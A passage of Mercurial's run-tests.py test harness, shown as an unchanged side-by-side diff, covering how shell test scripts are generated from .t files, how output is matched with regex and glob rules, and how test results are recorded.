1668 | 1668 | reqs.append(arg) |
|
1669 | 1669 | self._detectslow(reqs) |
|
1670 | 1670 | return self._hghave(reqs)[0] |
|
1671 | 1671 | |
|
1672 | 1672 | def _parsetest(self, lines): |
|
1673 | 1673 | # We generate a shell script which outputs unique markers to line |
|
1674 | 1674 | # up script results with our source. These markers include input |
|
1675 | 1675 | # line number and the last return code. |
|
1676 | 1676 | salt = b"SALT%d" % time.time() |
|
1677 | 1677 | |
|
1678 | 1678 | def addsalt(line, inpython): |
|
1679 | 1679 | if inpython: |
|
1680 | 1680 | script.append(b'%s %d 0\n' % (salt, line)) |
|
1681 | 1681 | else: |
|
1682 | 1682 | script.append(b'echo %s %d $?\n' % (salt, line)) |
|
1683 | 1683 | |
|
1684 | 1684 | activetrace = [] |
|
1685 | 1685 | session = str(uuid.uuid4()) |
|
1686 | 1686 | if PYTHON3: |
|
1687 | 1687 | session = session.encode('ascii') |
|
1688 | 1688 | hgcatapult = os.getenv('HGTESTCATAPULTSERVERPIPE') or os.getenv( |
|
1689 | 1689 | 'HGCATAPULTSERVERPIPE' |
|
1690 | 1690 | ) |
|
1691 | 1691 | |
|
1692 | 1692 | def toggletrace(cmd=None): |
|
1693 | 1693 | if not hgcatapult or hgcatapult == os.devnull: |
|
1694 | 1694 | return |
|
1695 | 1695 | |
|
1696 | 1696 | if activetrace: |
|
1697 | 1697 | script.append( |
|
1698 | 1698 | b'echo END %s %s >> "$HGTESTCATAPULTSERVERPIPE"\n' |
|
1699 | 1699 | % (session, activetrace[0]) |
|
1700 | 1700 | ) |
|
1701 | 1701 | if cmd is None: |
|
1702 | 1702 | return |
|
1703 | 1703 | |
|
1704 | 1704 | if isinstance(cmd, str): |
|
1705 | 1705 | quoted = shellquote(cmd.strip()) |
|
1706 | 1706 | else: |
|
1707 | 1707 | quoted = shellquote(cmd.strip().decode('utf8')).encode('utf8') |
|
1708 | 1708 | quoted = quoted.replace(b'\\', b'\\\\') |
|
1709 | 1709 | script.append( |
|
1710 | 1710 | b'echo START %s %s >> "$HGTESTCATAPULTSERVERPIPE"\n' |
|
1711 | 1711 | % (session, quoted) |
|
1712 | 1712 | ) |
|
1713 | 1713 | activetrace[0:] = [quoted] |
|
1714 | 1714 | |
|
1715 | 1715 | script = [] |
|
1716 | 1716 | |
|
1717 | 1717 | # After we run the shell script, we re-unify the script output |
|
1718 | 1718 | # with non-active parts of the source, with synchronization by our |
|
1719 | 1719 | # SALT line number markers. The after table contains the non-active |
|
1720 | 1720 | # components, ordered by line number. |
|
1721 | 1721 | after = {} |
|
1722 | 1722 | |
|
1723 | 1723 | # Expected shell script output. |
|
1724 | 1724 | expected = {} |
|
1725 | 1725 | |
|
1726 | 1726 | pos = prepos = -1 |
|
1727 | 1727 | |
|
1728 | 1728 | # True or False when in a true or false conditional section |
|
1729 | 1729 | skipping = None |
|
1730 | 1730 | |
|
1731 | 1731 | # We keep track of whether or not we're in a Python block so we |
|
1732 | 1732 | # can generate the surrounding doctest magic. |
|
1733 | 1733 | inpython = False |
|
1734 | 1734 | |
|
1735 | 1735 | if self._debug: |
|
1736 | 1736 | script.append(b'set -x\n') |
|
1737 | 1737 | if self._hgcommand != b'hg': |
|
1738 | 1738 | script.append(b'alias hg="%s"\n' % self._hgcommand) |
|
1739 | 1739 | if os.getenv('MSYSTEM'): |
|
1740 | 1740 | script.append(b'alias pwd="pwd -W"\n') |
|
1741 | 1741 | |
|
1742 | 1742 | if hgcatapult and hgcatapult != os.devnull: |
|
1743 | 1743 | if PYTHON3: |
|
1744 | 1744 | hgcatapult = hgcatapult.encode('utf8') |
|
1745 | 1745 | cataname = self.name.encode('utf8') |
|
1746 | 1746 | else: |
|
1747 | 1747 | cataname = self.name |
|
1748 | 1748 | |
|
1749 | 1749 | # Kludge: use a while loop to keep the pipe from getting |
|
1750 | 1750 | # closed by our echo commands. The still-running file gets |
|
1751 | 1751 | # reaped at the end of the script, which causes the while |
|
1752 | 1752 | # loop to exit and closes the pipe. Sigh. |
|
1753 | 1753 | script.append( |
|
1754 | 1754 | b'rtendtracing() {\n' |
|
1755 | 1755 | b' echo END %(session)s %(name)s >> %(catapult)s\n' |
|
1756 | 1756 | b' rm -f "$TESTTMP/.still-running"\n' |
|
1757 | 1757 | b'}\n' |
|
1758 | 1758 | b'trap "rtendtracing" 0\n' |
|
1759 | 1759 | b'touch "$TESTTMP/.still-running"\n' |
|
1760 | 1760 | b'while [ -f "$TESTTMP/.still-running" ]; do sleep 1; done ' |
|
1761 | 1761 | b'> %(catapult)s &\n' |
|
1762 | 1762 | b'HGCATAPULTSESSION=%(session)s ; export HGCATAPULTSESSION\n' |
|
1763 | 1763 | b'echo START %(session)s %(name)s >> %(catapult)s\n' |
|
1764 | 1764 | % { |
|
1765 | 1765 | b'name': cataname, |
|
1766 | 1766 | b'session': session, |
|
1767 | 1767 | b'catapult': hgcatapult, |
|
1768 | 1768 | } |
|
1769 | 1769 | ) |
|
1770 | 1770 | |
|
1771 | 1771 | if self._case: |
|
1772 | 1772 | casestr = b'#'.join(self._case) |
|
1773 | 1773 | if isinstance(self._case, str): |
|
1774 | 1774 | quoted = shellquote(casestr) |
|
1775 | 1775 | else: |
|
1776 | 1776 | quoted = shellquote(casestr.decode('utf8')).encode('utf8') |
|
1777 | 1777 | script.append(b'TESTCASE=%s\n' % quoted) |
|
1778 | 1778 | script.append(b'export TESTCASE\n') |
|
1779 | 1779 | |
|
1780 | 1780 | n = 0 |
|
1781 | 1781 | for n, l in enumerate(lines): |
|
1782 | 1782 | if not l.endswith(b'\n'): |
|
1783 | 1783 | l += b'\n' |
|
1784 | 1784 | if l.startswith(b'#require'): |
|
1785 | 1785 | lsplit = l.split() |
|
1786 | 1786 | if len(lsplit) < 2 or lsplit[0] != b'#require': |
|
1787 | 1787 | after.setdefault(pos, []).append( |
|
1788 | 1788 | b' !!! invalid #require\n' |
|
1789 | 1789 | ) |
|
1790 | 1790 | if not skipping: |
|
1791 | 1791 | haveresult, message = self._hghave(lsplit[1:]) |
|
1792 | 1792 | if not haveresult: |
|
1793 | 1793 | script = [b'echo "%s"\nexit 80\n' % message] |
|
1794 | 1794 | break |
|
1795 | 1795 | after.setdefault(pos, []).append(l) |
|
1796 | 1796 | elif l.startswith(b'#if'): |
|
1797 | 1797 | lsplit = l.split() |
|
1798 | 1798 | if len(lsplit) < 2 or lsplit[0] != b'#if': |
|
1799 | 1799 | after.setdefault(pos, []).append(b' !!! invalid #if\n') |
|
1800 | 1800 | if skipping is not None: |
|
1801 | 1801 | after.setdefault(pos, []).append(b' !!! nested #if\n') |
|
1802 | 1802 | skipping = not self._iftest(lsplit[1:]) |
|
1803 | 1803 | after.setdefault(pos, []).append(l) |
|
1804 | 1804 | elif l.startswith(b'#else'): |
|
1805 | 1805 | if skipping is None: |
|
1806 | 1806 | after.setdefault(pos, []).append(b' !!! missing #if\n') |
|
1807 | 1807 | skipping = not skipping |
|
1808 | 1808 | after.setdefault(pos, []).append(l) |
|
1809 | 1809 | elif l.startswith(b'#endif'): |
|
1810 | 1810 | if skipping is None: |
|
1811 | 1811 | after.setdefault(pos, []).append(b' !!! missing #if\n') |
|
1812 | 1812 | skipping = None |
|
1813 | 1813 | after.setdefault(pos, []).append(l) |
|
1814 | 1814 | elif skipping: |
|
1815 | 1815 | after.setdefault(pos, []).append(l) |
|
1816 | 1816 | elif l.startswith(b' >>> '): # python inlines |
|
1817 | 1817 | after.setdefault(pos, []).append(l) |
|
1818 | 1818 | prepos = pos |
|
1819 | 1819 | pos = n |
|
1820 | 1820 | if not inpython: |
|
1821 | 1821 | # We've just entered a Python block. Add the header. |
|
1822 | 1822 | inpython = True |
|
1823 | 1823 | addsalt(prepos, False) # Make sure we report the exit code. |
|
1824 | 1824 | script.append(b'"%s" -m heredoctest <<EOF\n' % PYTHON) |
|
1825 | 1825 | addsalt(n, True) |
|
1826 | 1826 | script.append(l[2:]) |
|
1827 | 1827 | elif l.startswith(b' ... '): # python inlines |
|
1828 | 1828 | after.setdefault(prepos, []).append(l) |
|
1829 | 1829 | script.append(l[2:]) |
|
1830 | 1830 | elif l.startswith(b' $ '): # commands |
|
1831 | 1831 | if inpython: |
|
1832 | 1832 | script.append(b'EOF\n') |
|
1833 | 1833 | inpython = False |
|
1834 | 1834 | after.setdefault(pos, []).append(l) |
|
1835 | 1835 | prepos = pos |
|
1836 | 1836 | pos = n |
|
1837 | 1837 | addsalt(n, False) |
|
1838 | 1838 | rawcmd = l[4:] |
|
1839 | 1839 | cmd = rawcmd.split() |
|
1840 | 1840 | toggletrace(rawcmd) |
|
1841 | 1841 | if len(cmd) == 2 and cmd[0] == b'cd': |
|
1842 | 1842 | rawcmd = b'cd %s || exit 1\n' % cmd[1] |
|
1843 | 1843 | script.append(rawcmd) |
|
1844 | 1844 | elif l.startswith(b' > '): # continuations |
|
1845 | 1845 | after.setdefault(prepos, []).append(l) |
|
1846 | 1846 | script.append(l[4:]) |
|
1847 | 1847 | elif l.startswith(b' '): # results |
|
1848 | 1848 | # Queue up a list of expected results. |
|
1849 | 1849 | expected.setdefault(pos, []).append(l[2:]) |
|
1850 | 1850 | else: |
|
1851 | 1851 | if inpython: |
|
1852 | 1852 | script.append(b'EOF\n') |
|
1853 | 1853 | inpython = False |
|
1854 | 1854 | # Non-command/result. Queue up for merged output. |
|
1855 | 1855 | after.setdefault(pos, []).append(l) |
|
1856 | 1856 | |
|
1857 | 1857 | if inpython: |
|
1858 | 1858 | script.append(b'EOF\n') |
|
1859 | 1859 | if skipping is not None: |
|
1860 | 1860 | after.setdefault(pos, []).append(b' !!! missing #endif\n') |
|
1861 | 1861 | addsalt(n + 1, False) |
|
1862 | 1862 | # Need to end any current per-command trace |
|
1863 | 1863 | if activetrace: |
|
1864 | 1864 | toggletrace() |
|
1865 | 1865 | return salt, script, after, expected |
|
1866 | 1866 | |
|
1867 | 1867 | def _processoutput(self, exitcode, output, salt, after, expected): |
|
1868 | 1868 | # Merge the script output back into a unified test. |
|
1869 | 1869 | warnonly = WARN_UNDEFINED # 1: not yet; 2: yes; 3: for sure not |
|
1870 | 1870 | if exitcode != 0: |
|
1871 | 1871 | warnonly = WARN_NO |
|
1872 | 1872 | |
|
1873 | 1873 | pos = -1 |
|
1874 | 1874 | postout = [] |
|
1875 | 1875 | for out_rawline in output: |
|
1876 | 1876 | out_line, cmd_line = out_rawline, None |
|
1877 | 1877 | if salt in out_rawline: |
|
1878 | 1878 | out_line, cmd_line = out_rawline.split(salt, 1) |
|
1879 | 1879 | |
|
1880 | 1880 | pos, postout, warnonly = self._process_out_line( |
|
1881 | 1881 | out_line, pos, postout, expected, warnonly |
|
1882 | 1882 | ) |
|
1883 | 1883 | pos, postout = self._process_cmd_line(cmd_line, pos, postout, after) |
|
1884 | 1884 | |
|
1885 | 1885 | if pos in after: |
|
1886 | 1886 | postout += after.pop(pos) |
|
1887 | 1887 | |
|
1888 | 1888 | if warnonly == WARN_YES: |
|
1889 | 1889 | exitcode = False # Set exitcode to warned. |
|
1890 | 1890 | |
|
1891 | 1891 | return exitcode, postout |
|
1892 | 1892 | |
|
1893 | 1893 | def _process_out_line(self, out_line, pos, postout, expected, warnonly): |
|
1894 | 1894 | while out_line: |
|
1895 | 1895 | if not out_line.endswith(b'\n'): |
|
1896 | 1896 | out_line += b' (no-eol)\n' |
|
1897 | 1897 | |
|
1898 | 1898 | # Find the expected output at the current position. |
|
1899 | 1899 | els = [None] |
|
1900 | 1900 | if expected.get(pos, None): |
|
1901 | 1901 | els = expected[pos] |
|
1902 | 1902 | |
|
1903 | 1903 | optional = [] |
|
1904 | 1904 | for i, el in enumerate(els): |
|
1905 | 1905 | r = False |
|
1906 | 1906 | if el: |
|
1907 | 1907 | r, exact = self.linematch(el, out_line) |
|
1908 | 1908 | if isinstance(r, str): |
|
1909 | 1909 | if r == '-glob': |
|
1910 | 1910 | out_line = ''.join(el.rsplit(' (glob)', 1)) |
|
1911 | 1911 | r = '' # Warn only this line. |
|
1912 | 1912 | elif r == "retry": |
|
1913 | 1913 | postout.append(b' ' + el) |
|
1914 | 1914 | else: |
|
1915 | 1915 | log('\ninfo, unknown linematch result: %r\n' % r) |
|
1916 | 1916 | r = False |
|
1917 | 1917 | if r: |
|
1918 | 1918 | els.pop(i) |
|
1919 | 1919 | break |
|
1920 | 1920 | if el: |
|
1921 | 1921 | if isoptional(el): |
|
1922 | 1922 | optional.append(i) |
|
1923 | 1923 | else: |
|
1924 | 1924 | m = optline.match(el) |
|
1925 | 1925 | if m: |
|
1926 | 1926 | conditions = [c for c in m.group(2).split(b' ')] |
|
1927 | 1927 | |
|
1928 | 1928 | if not self._iftest(conditions): |
|
1929 | 1929 | optional.append(i) |
|
1930 | 1930 | if exact: |
|
1931 | 1931 | # Don't allow line to be matches against a later |
|
1932 | 1932 | # line in the output |
|
1933 | 1933 | els.pop(i) |
|
1934 | 1934 | break |
|
1935 | 1935 | |
|
1936 | 1936 | if r: |
|
1937 | 1937 | if r == "retry": |
|
1938 | 1938 | continue |
|
1939 | 1939 | # clean up any optional leftovers |
|
1940 | 1940 | for i in optional: |
|
1941 | 1941 | postout.append(b' ' + els[i]) |
|
1942 | 1942 | for i in reversed(optional): |
|
1943 | 1943 | del els[i] |
|
1944 | 1944 | postout.append(b' ' + el) |
|
1945 | 1945 | else: |
|
1946 | 1946 | if self.NEEDESCAPE(out_line): |
|
1947 | 1947 | out_line = TTest._stringescape( |
|
1948 | 1948 | b'%s (esc)\n' % out_line.rstrip(b'\n') |
|
1949 | 1949 | ) |
|
1950 | 1950 | postout.append(b' ' + out_line) # Let diff deal with it. |
|
1951 | 1951 | if r != '': # If line failed. |
|
1952 | 1952 | warnonly = WARN_NO |
|
1953 | 1953 | elif warnonly == WARN_UNDEFINED: |
|
1954 | 1954 | warnonly = WARN_YES |
|
1955 | 1955 | break |
|
1956 | 1956 | else: |
|
1957 | 1957 | # clean up any optional leftovers |
|
1958 | 1958 | while expected.get(pos, None): |
|
1959 | 1959 | el = expected[pos].pop(0) |
|
1960 | 1960 | if el: |
|
1961 | 1961 | if not isoptional(el): |
|
1962 | 1962 | m = optline.match(el) |
|
1963 | 1963 | if m: |
|
1964 | 1964 | conditions = [c for c in m.group(2).split(b' ')] |
|
1965 | 1965 | |
|
1966 | 1966 | if self._iftest(conditions): |
|
1967 | 1967 | # Don't append as optional line |
|
1968 | 1968 | continue |
|
1969 | 1969 | else: |
|
1970 | 1970 | continue |
|
1971 | 1971 | postout.append(b' ' + el) |
|
1972 | 1972 | return pos, postout, warnonly |
|
1973 | 1973 | |
|
1974 | 1974 | def _process_cmd_line(self, cmd_line, pos, postout, after): |
|
1975 | 1975 | """process a "command" part of a line from unified test output""" |
|
1976 | 1976 | if cmd_line: |
|
1977 | 1977 | # Add on last return code. |
|
1978 | 1978 | ret = int(cmd_line.split()[1]) |
|
1979 | 1979 | if ret != 0: |
|
1980 | 1980 | postout.append(b' [%d]\n' % ret) |
|
1981 | 1981 | if pos in after: |
|
1982 | 1982 | # Merge in non-active test bits. |
|
1983 | 1983 | postout += after.pop(pos) |
|
1984 | 1984 | pos = int(cmd_line.split()[0]) |
|
1985 | 1985 | return pos, postout |
|
1986 | 1986 | |
|
1987 | 1987 | @staticmethod |
|
1988 | 1988 | def rematch(el, l): |
|
1989 | 1989 | try: |
|
1990 | 1990 | # parse any flags at the beginning of the regex. Only 'i' is |
|
1991 | 1991 | # supported right now, but this should be easy to extend. |
|
1992 | 1992 | flags, el = re.match(br'^(\(\?i\))?(.*)', el).groups()[0:2] |
|
1993 | 1993 | flags = flags or b'' |
|
1994 | 1994 | el = flags + b'(?:' + el + b')' |
|
1995 | 1995 | # use \Z to ensure that the regex matches to the end of the string |
|
1996 | 1996 | if os.name == 'nt': |
|
1997 | 1997 | return re.match(el + br'\r?\n\Z', l) |
|
1998 | 1998 | return re.match(el + br'\n\Z', l) |
|
1999 | 1999 | except re.error: |
|
2000 | 2000 | # el is an invalid regex |
|
2001 | 2001 | return False |
|
2002 | 2002 | |
|
2003 | 2003 | @staticmethod |
|
2004 | 2004 | def globmatch(el, l): |
|
2005 | 2005 | # The only supported special characters are * and ? plus / which also |
|
2006 | 2006 | # matches \ on windows. Escaping of these characters is supported. |
|
2007 | 2007 | if el + b'\n' == l: |
|
2008 | 2008 | if os.altsep: |
|
2009 | 2009 | # matching on "/" is not needed for this line |
|
2010 | 2010 | for pat in checkcodeglobpats: |
|
2011 | 2011 | if pat.match(el): |
|
2012 | 2012 | return True |
|
2013 | 2013 | return b'-glob' |
|
2014 | 2014 | return True |
|
2015 | 2015 | el = el.replace(b'$LOCALIP', b'*') |
|
2016 | 2016 | i, n = 0, len(el) |
|
2017 | 2017 | res = b'' |
|
2018 | 2018 | while i < n: |
|
2019 | 2019 | c = el[i : i + 1] |
|
2020 | 2020 | i += 1 |
|
2021 | 2021 | if c == b'\\' and i < n and el[i : i + 1] in b'*?\\/': |
|
2022 | 2022 | res += el[i - 1 : i + 1] |
|
2023 | 2023 | i += 1 |
|
2024 | 2024 | elif c == b'*': |
|
2025 | 2025 | res += b'.*' |
|
2026 | 2026 | elif c == b'?': |
|
2027 | 2027 | res += b'.' |
|
2028 | 2028 | elif c == b'/' and os.altsep: |
|
2029 | 2029 | res += b'[/\\\\]' |
|
2030 | 2030 | else: |
|
2031 | 2031 | res += re.escape(c) |
|
2032 | 2032 | return TTest.rematch(res, l) |
|
2033 | 2033 | |
|
2034 | 2034 | def linematch(self, el, l): |
|
2035 | 2035 | if el == l: # perfect match (fast) |
|
2036 | 2036 | return True, True |
|
2037 | 2037 | retry = False |
|
2038 | 2038 | if isoptional(el): |
|
2039 | 2039 | retry = "retry" |
|
2040 | 2040 | el = el[: -len(MARK_OPTIONAL)] + b"\n" |
|
2041 | 2041 | else: |
|
2042 | 2042 | m = optline.match(el) |
|
2043 | 2043 | if m: |
|
2044 | 2044 | conditions = [c for c in m.group(2).split(b' ')] |
|
2045 | 2045 | |
|
2046 | 2046 | el = m.group(1) + b"\n" |
|
2047 | 2047 | if not self._iftest(conditions): |
|
2048 | 2048 | # listed feature missing, should not match |
|
2049 | 2049 | return "retry", False |
|
2050 | 2050 | |
|
2051 | 2051 | if el.endswith(b" (esc)\n"): |
|
2052 | 2052 | if PYTHON3: |
|
2053 | 2053 | el = el[:-7].decode('unicode_escape') + '\n' |
|
2054 | 2054 | el = el.encode('utf-8') |
|
2055 | 2055 | else: |
|
2056 | 2056 | el = el[:-7].decode('string-escape') + '\n' |
|
2057 | 2057 | if el == l or os.name == 'nt' and el[:-1] + b'\r\n' == l: |
|
2058 | 2058 | return True, True |
|
2059 | 2059 | if el.endswith(b" (re)\n"): |
|
2060 | 2060 | return (TTest.rematch(el[:-6], l) or retry), False |
|
2061 | 2061 | if el.endswith(b" (glob)\n"): |
|
2062 | 2062 | # ignore '(glob)' added to l by 'replacements' |
|
2063 | 2063 | if l.endswith(b" (glob)\n"): |
|
2064 | 2064 | l = l[:-8] + b"\n" |
|
2065 | 2065 | return (TTest.globmatch(el[:-8], l) or retry), False |
|
2066 | 2066 | if os.altsep: |
|
2067 | 2067 | _l = l.replace(b'\\', b'/') |
|
2068 | 2068 | if el == _l or os.name == 'nt' and el[:-1] + b'\r\n' == _l: |
|
2069 | 2069 | return True, True |
|
2070 | 2070 | return retry, True |
|
2071 | 2071 | |
|
2072 | 2072 | @staticmethod |
|
2073 | 2073 | def parsehghaveoutput(lines): |
|
2074 | 2074 | '''Parse hghave log lines. |
|
2075 | 2075 | |
|
2076 | 2076 | Return tuple of lists (missing, failed): |
|
2077 | 2077 | * the missing/unknown features |
|
2078 | 2078 | * the features for which existence check failed''' |
|
2079 | 2079 | missing = [] |
|
2080 | 2080 | failed = [] |
|
2081 | 2081 | for line in lines: |
|
2082 | 2082 | if line.startswith(TTest.SKIPPED_PREFIX): |
|
2083 | 2083 | line = line.splitlines()[0] |
|
2084 | 2084 | missing.append( |
|
2085 | 2085 | line[len(TTest.SKIPPED_PREFIX) :].decode('utf-8') |
|
2086 | 2086 | ) |
|
2087 | 2087 | elif line.startswith(TTest.FAILED_PREFIX): |
|
2088 | 2088 | line = line.splitlines()[0] |
|
2089 | 2089 | failed.append(line[len(TTest.FAILED_PREFIX) :].decode('utf-8')) |
|
2090 | 2090 | |
|
2091 | 2091 | return missing, failed |
|
2092 | 2092 | |
|
2093 | 2093 | @staticmethod |
|
2094 | 2094 | def _escapef(m): |
|
2095 | 2095 | return TTest.ESCAPEMAP[m.group(0)] |
|
2096 | 2096 | |
|
2097 | 2097 | @staticmethod |
|
2098 | 2098 | def _stringescape(s): |
|
2099 | 2099 | return TTest.ESCAPESUB(TTest._escapef, s) |
|
2100 | 2100 | |
|
2101 | 2101 | |
|
2102 | 2102 | iolock = threading.RLock() |
|
2103 | 2103 | firstlock = threading.RLock() |
|
2104 | 2104 | firsterror = False |
|
2105 | 2105 | |
|
2106 | 2106 | |
|
2107 | 2107 | class TestResult(unittest._TextTestResult): |
|
2108 | 2108 | """Holds results when executing via unittest.""" |
|
2109 | 2109 | |
|
2110 | 2110 | # Don't worry too much about accessing the non-public _TextTestResult. |
|
2111 | 2111 | # It is relatively common in Python testing tools. |
|
2112 | 2112 | def __init__(self, options, *args, **kwargs): |
|
2113 | 2113 | super(TestResult, self).__init__(*args, **kwargs) |
|
2114 | 2114 | |
|
2115 | 2115 | self._options = options |
|
2116 | 2116 | |
|
2117 | 2117 | # unittest.TestResult didn't have skipped until 2.7. We need to |
|
2118 | 2118 | # polyfill it. |
|
2119 | 2119 | self.skipped = [] |
|
2120 | 2120 | |
|
2121 | 2121 | # We have a custom "ignored" result that isn't present in any Python |
|
2122 | 2122 | # unittest implementation. It is very similar to skipped. It may make |
|
2123 | 2123 | # sense to map it into skip some day. |
|
2124 | 2124 | self.ignored = [] |
|
2125 | 2125 | |
|
2126 | 2126 | self.times = [] |
|
2127 | 2127 | self._firststarttime = None |
|
2128 | 2128 | # Data stored for the benefit of generating xunit reports. |
|
2129 | 2129 | self.successes = [] |
|
2130 | 2130 | self.faildata = {} |
|
2131 | 2131 | |
|
2132 | 2132 | if options.color == 'auto': |
|
2133 | 2133 | self.color = pygmentspresent and self.stream.isatty() |
|
2134 | 2134 | elif options.color == 'never': |
|
2135 | 2135 | self.color = False |
|
2136 | 2136 | else: # 'always', for testing purposes |
|
2137 | 2137 | self.color = pygmentspresent |
|
2138 | 2138 | |
|
2139 | 2139 | def onStart(self, test): |
|
2140 | 2140 | """ Can be overriden by custom TestResult |
|
2141 | 2141 | """ |
|
2142 | 2142 | |
|
2143 | 2143 | def onEnd(self): |
|
2144 | 2144 | """ Can be overriden by custom TestResult |
|
2145 | 2145 | """ |
|
2146 | 2146 | |
|
2147 | 2147 | def addFailure(self, test, reason): |
|
2148 | 2148 | self.failures.append((test, reason)) |
|
2149 | 2149 | |
|
2150 | 2150 | if self._options.first: |
|
2151 | 2151 | self.stop() |
|
2152 | 2152 | else: |
|
2153 | 2153 | with iolock: |
|
2154 | 2154 | if reason == "timed out": |
|
2155 | 2155 | self.stream.write('t') |
|
2156 | 2156 | else: |
|
2157 | 2157 | if not self._options.nodiff: |
|
2158 | 2158 | self.stream.write('\n') |
|
2159 | 2159 | # Exclude the '\n' from highlighting to lex correctly |
|
2160 | 2160 | formatted = 'ERROR: %s output changed\n' % test |
|
2161 | 2161 | self.stream.write(highlightmsg(formatted, self.color)) |
|
2162 | 2162 | self.stream.write('!') |
|
2163 | 2163 | |
|
2164 | 2164 | self.stream.flush() |
|
2165 | 2165 | |
|
2166 | 2166 | def addSuccess(self, test): |
|
2167 | 2167 | with iolock: |
|
2168 | 2168 | super(TestResult, self).addSuccess(test) |
|
2169 | 2169 | self.successes.append(test) |
|
2170 | 2170 | |
|
2171 | 2171 | def addError(self, test, err): |
|
2172 | 2172 | super(TestResult, self).addError(test, err) |
|
2173 | 2173 | if self._options.first: |
|
2174 | 2174 | self.stop() |
|
2175 | 2175 | |
|
2176 | 2176 | # Polyfill. |
|
2177 | 2177 | def addSkip(self, test, reason): |
|
2178 | 2178 | self.skipped.append((test, reason)) |
|
2179 | 2179 | with iolock: |
|
2180 | 2180 | if self.showAll: |
|
2181 | 2181 | self.stream.writeln('skipped %s' % reason) |
|
2182 | 2182 | else: |
|
2183 | 2183 | self.stream.write('s') |
|
2184 | 2184 | self.stream.flush() |
|
2185 | 2185 | |
|
2186 | 2186 | def addIgnore(self, test, reason): |
|
2187 | 2187 | self.ignored.append((test, reason)) |
|
2188 | 2188 | with iolock: |
|
2189 | 2189 | if self.showAll: |
|
2190 | 2190 | self.stream.writeln('ignored %s' % reason) |
|
2191 | 2191 | else: |
|
2192 | 2192 | if reason not in ('not retesting', "doesn't match keyword"): |
|
2193 | 2193 | self.stream.write('i') |
|
2194 | 2194 | else: |
|
2195 | 2195 | self.testsRun += 1 |
|
2196 | 2196 | self.stream.flush() |
|
2197 | 2197 | |
|
2198 | 2198 | def addOutputMismatch(self, test, ret, got, expected): |
|
2199 | 2199 | """Record a mismatch in test output for a particular test.""" |
|
2200 | 2200 | if self.shouldStop or firsterror: |
|
2201 | 2201 | # don't print, some other test case already failed and |
|
2202 | 2202 | # printed, we're just stale and probably failed due to our |
|
2203 | 2203 | # temp dir getting cleaned up. |
|
2204 | 2204 | return |
|
2205 | 2205 | |
|
2206 | 2206 | accepted = False |
|
2207 | 2207 | lines = [] |
|
2208 | 2208 | |
|
2209 | 2209 | with iolock: |
|
2210 | 2210 | if self._options.nodiff: |
|
2211 | 2211 | pass |
|
2212 | 2212 | elif self._options.view: |
|
2213 | 2213 | v = self._options.view |
|
2214 | 2214 | subprocess.call( |
|
2215 | 2215 | r'"%s" "%s" "%s"' |
|
2216 | 2216 | % (v, _strpath(test.refpath), _strpath(test.errpath)), |
|
2217 | 2217 | shell=True, |
|
2218 | 2218 | ) |
|
2219 | 2219 | else: |
|
2220 | 2220 | servefail, lines = getdiff( |
|
2221 | 2221 | expected, got, test.refpath, test.errpath |
|
2222 | 2222 | ) |
|
2223 | 2223 | self.stream.write('\n') |
|
2224 | 2224 | for line in lines: |
|
2225 | 2225 | line = highlightdiff(line, self.color) |
|
2226 | 2226 | if PYTHON3: |
|
2227 | 2227 | self.stream.flush() |
|
2228 | 2228 | self.stream.buffer.write(line) |
|
2229 | 2229 | self.stream.buffer.flush() |
|
2230 | 2230 | else: |
|
2231 | 2231 | self.stream.write(line) |
|
2232 | 2232 | self.stream.flush() |
|
2233 | 2233 | |
|
2234 | 2234 | if servefail: |
|
2235 | 2235 | raise test.failureException( |
|
2236 | 2236 | 'server failed to start (HGPORT=%s)' % test._startport |
|
2237 | 2237 | ) |
|
2238 | 2238 | |
|
2239 | 2239 | # handle interactive prompt without releasing iolock |
|
2240 | 2240 | if self._options.interactive: |
|
2241 | 2241 | if test.readrefout() != expected: |
|
2242 | 2242 | self.stream.write( |
|
2243 | 2243 | 'Reference output has changed (run again to prompt ' |
|
2244 | 2244 | 'changes)' |
|
2245 | 2245 | ) |
|
2246 | 2246 | else: |
|
2247 | 2247 | self.stream.write('Accept this change? [n] ') |
|
2248 | 2248 | self.stream.flush() |
|
2249 | 2249 | answer = sys.stdin.readline().strip() |
|
2250 | 2250 | if answer.lower() in ('y', 'yes'): |
|
2251 | 2251 | if test.path.endswith(b'.t'): |
|
2252 | 2252 | rename(test.errpath, test.path) |
|
2253 | 2253 | else: |
|
2254 | 2254 | rename(test.errpath, '%s.out' % test.path) |
|
2255 | 2255 | accepted = True |
|
2256 | 2256 | if not accepted: |
|
2257 | 2257 | self.faildata[test.name] = b''.join(lines) |
|
2258 | 2258 | |
|
2259 | 2259 | return accepted |
|
2260 | 2260 | |
|
2261 | 2261 | def startTest(self, test): |
|
2262 | 2262 | super(TestResult, self).startTest(test) |
|
2263 | 2263 | |
|
2264 | 2264 | # os.times module computes the user time and system time spent by |
|
2265 | 2265 | # child's processes along with real elapsed time taken by a process. |
|
2266 | 2266 | # This module has one limitation. It can only work for Linux user |
|
2267 | 2267 | # and not for Windows. Hence why we fall back to another function |
|
2268 | 2268 | # for wall time calculations. |
|
2269 | 2269 | test.started_times = os.times() |
|
2270 | 2270 | # TODO use a monotonic clock once support for Python 2.7 is dropped. |
|
2271 | 2271 | test.started_time = time.time() |
|
2272 | 2272 | if self._firststarttime is None: # thread racy but irrelevant |
|
2273 | 2273 | self._firststarttime = test.started_time |
|
2274 | 2274 | |
|
2275 | 2275 | def stopTest(self, test, interrupted=False): |
|
2276 | 2276 | super(TestResult, self).stopTest(test) |
|
2277 | 2277 | |
|
2278 | 2278 | test.stopped_times = os.times() |
|
2279 | 2279 | stopped_time = time.time() |
|
2280 | 2280 | |
|
2281 | 2281 | starttime = test.started_times |
|
2282 | 2282 | endtime = test.stopped_times |
|
2283 | 2283 | origin = self._firststarttime |
|
2284 | 2284 | self.times.append( |
|
2285 | 2285 | ( |
|
2286 | 2286 | test.name, |
|
2287 | 2287 | endtime[2] - starttime[2], # user space CPU time |
|
2288 | 2288 | endtime[3] - starttime[3], # sys space CPU time |
|
2289 | 2289 | stopped_time - test.started_time, # real time |
|
2290 | 2290 | test.started_time - origin, # start date in run context |
|
2291 | 2291 | stopped_time - origin, # end date in run context |
|
2292 | 2292 | ) |
|
2293 | 2293 | ) |
|
2294 | 2294 | |
|
2295 | 2295 | if interrupted: |
|
2296 | 2296 | with iolock: |
|
2297 | 2297 | self.stream.writeln( |
|
2298 | 2298 | 'INTERRUPTED: %s (after %d seconds)' |
|
2299 | 2299 | % (test.name, self.times[-1][3]) |
|
2300 | 2300 | ) |
|
2301 | 2301 | |
|
2302 | 2302 | |
|
2303 | 2303 | def getTestResult(): |
|
2304 | 2304 | """ |
|
